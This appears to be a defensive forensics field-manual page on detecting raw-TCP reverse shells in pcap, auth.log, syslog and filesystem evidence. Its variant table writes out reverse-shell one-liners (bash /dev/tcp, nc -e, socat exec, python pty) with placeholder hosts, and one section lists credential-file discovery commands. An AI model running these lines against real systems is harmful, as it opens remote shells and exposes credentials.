Analyst-side recognition and analysis of raw-TCP reverse-shell C2 in pcap, log, and filesystem evidence. Pcap conversation triage for the three orthogonal signals, mid-stream direction inference without a SYN, command reconstruction via tshark stream-following, variant recognition signatures, time-windowed file-discovery as counter-IR signal, ATT&CK stack, cross-correlation across pcap + auth.log + syslog + filesystem, detection control reference.
Pcap conversation triage
three orthogonal signals flag a reverse shell in a tshark -z conv,tcp summary:
- sustained duration when other conversations in the same capture are sub-second
- non-standard port (4444 / 9001 / 1337 / 65400 etc) with no encryption
- bidirectional command-response cadence (small request, larger response, repeated)
tshark -r file.pcap -q -z conv,tcp # one-shot conv summary
tshark -r file.pcap -q -z conv,tcp | sort -k7 -n -r # sort by duration descendingGUI: Wireshark > Statistics > Conversations > TCP, sort by Duration column.
Direction inference without SYN
decision rule for mid-stream listener-side captures (no handshake recorded):
| Observed | Likely role |
|---|---|
| host A sends short ASCII line, host B returns multi-line output | A = listener (attacker), B = victim |
same flow: A sends cd /home, B returns nothing | A = listener (cd is silent on success), B = victim |
| host A initiates with a banner or interactive prompt | A is the shell origin (could be either side, needs more evidence) |
tshark -r file.pcap -Y 'tcp.stream eq <id> and (tcp.flags.syn==1 or tcp.flags.fin==1)' # confirm no handshake
tshark -r file.pcap -q -z follow,tcp,ascii,<id> | head -20 # first payloads to read directionverifying SYN/FIN absence first prevents false direction inference. if the handshake IS in the capture, use it.
Command reconstruction
tshark -r file.pcap -q -z follow,tcp,ascii,<id> # full session in payload order
tshark -r file.pcap -q -z follow,tcp,raw,<id> > out.bin # raw bytes for binary protocolsapplication of the tshark stream-following idiom to reverse-shell sessions. each ASCII line is one attacker command or one victim output chunk. attacker typos (find --since '2 days ago' against GNU find which has no --since, predicate-after-path errors) argue for a human at the keyboard rather than an automated implant. record typos in the report as attribution-relevant detail.
Variant recognition signatures
distinguish reverse-shell variants by what follow,tcp,ascii emits at the start. recognition aids only. distinguishing variants helps cite the correct T1059 sub-technique and points response toward what other artefacts to expect on disk.
| Variant | Initial payload signature | Notes |
|---|---|---|
nc -e /bin/sh | shell prompt direct (no banner), commands return plain-text output | Debian/Ubuntu netcat lacks -e. Victim ran ncat, busybox nc, or OpenBSD nc with --traditional |
nc mkfifo (named-pipe construction) | shell prompt direct, identical output to -e | victim built a FIFO loop because -e was unavailable |
bash -i >& /dev/tcp/host/port 0>&1 | bash prompt (bash-5.1$ ), tab-completion may echo back | distinguishable by the bash-N.N$ PS1 |
python -c 'import pty; pty.spawn(...)' | full pty: prompt + control chars + clear-screen sequences | tty allocated, history works, sudo prompts work |
socat exec:/bin/bash,pty,stderr | full pty + socat-specific ANSI handling | rare, distinct from python pty by absence of import-error if shell start fails |
Counter-IR signal: time-windowed file discovery
attacker find predicates with time windows rather than name patterns argue for counter-IR targeting. the attacker’s target is the analyst’s recent working files (incident-response artefacts, half-built timelines, draft reports):
find -mtime -1 # files modified in last 1 day
find -mtime -2 ./ # last 2 days (predicate-after-path syntax error - intent reads)
find -newer /tmp/.before # files newer than reference
contrast with name-windowed discovery which is conventional T1083:
find / -name "*.pcap" # discovery by file type
find / -name "*.kdbx" # credential-file discovery
both classify as T1083 File and Directory Discovery. the time-windowed sub-pattern is worth flagging in the discovery section of the report. credential-targeting attackers use name-based discovery against *.kdbx, id_rsa, *.pem, wallet.dat and similar. time-window discovery against the analyst’s working dir signals counter-IR awareness instead.
ATT&CK stack for raw-TCP reverse shell
[T1059.004] Command and Scripting Interpreter: Unix Shell
[T1095] Non-Application Layer Protocol
[T1571] Non-Standard Port
[T1083] File and Directory Discovery
a single-tag classification (T1059.004 alone) misses the C2 channel and discovery layers. the four-stack is the minimum coverage for the C2 + Discovery report sections.
Cross-correlation
| Pcap evidence | Correlate against | Why |
|---|---|---|
| listener IP + port + first-payload timestamp | victim /var/log/auth.log SSH session start | establish whether the shell is post-SSH-session or alongside one |
| listener IP + first-payload timestamp | victim /var/log/syslog for outbound NetworkManager / nf_conntrack entries | confirms the outbound TCP exists in the victim’s connection log |
attacker commands containing cd <path> or cat <file> | victim filesystem find -newer <ref> | files placed via the shell appear in find -newer against a reference predating the shell |
| attacker pty-spawn evidence | victim ~/.bash_history of the running user | pty allocation means history can flush on session close |
cross-correlation lifts a raw-TCP capture from “an outbound TCP” to “this attacker did these things on this host at these times”.
Detection + prevention reference
| Control | Where | What it catches |
|---|---|---|
| Egress filter outbound TCP to non-standard ports | host or network firewall | drops the connect-back before payload exchange |
| IDS rule on raw-TCP outbound + interactive cadence | IDS sensor on egress link, see Snort / Zeek | flags long-lived sub-1500-byte bidirectional flows on uncommon ports |
| Baseline outbound connection inventory per host | host or NSM | ”this host should never talk outbound on TCP/9001” is the lead |
| AppArmor / SELinux profile on web service | host | prevents apache child from spawning /bin/sh |
Block nc / ncat / socat on production hosts | host hardening | removes the LOLBin path. Python and bash remain as fallback shell sources |
Pitfalls
- Do not conflate pcap + access log from different incidents: when paired evidence is supplied, verify the time window and IP space match before treating as one kill chain. different
/24or different month = independent scenarios - SYN absence != attack absence: listener-side capture started mid-session has no handshake. inferring “no attack happened” from “no SYN in pcap” is wrong
- Single-tag T1059.004 fails C2 + discovery coverage: C2 channel needs T1095 + T1571, in-shell discovery needs T1083, the shell execution itself is T1059.004
ncatis notnc: Debian/Ubuntu netcat (ncat) uses different flags than OpenBSDnc. signatures looking for-emay missncat -e. signatures matchingmkfifoonly catch the FIFO-loop variant- Reverse shell over HTTPS / DNS / SMB tunnel does not match raw-TCP signals. those need protocol-aware detection (tshark / Zeek dpd) rather than conv-table triage
- Attacker typos are forensic evidence:
find --sinceandfind -mtime -2 ./(predicate-after-path) argue for a human at the keyboard. an automated implant would not throw these errors
links:
Field Manual | tshark | Zeek | Snort | Linux Persistence Hunt | Web Log Triage | Log Triage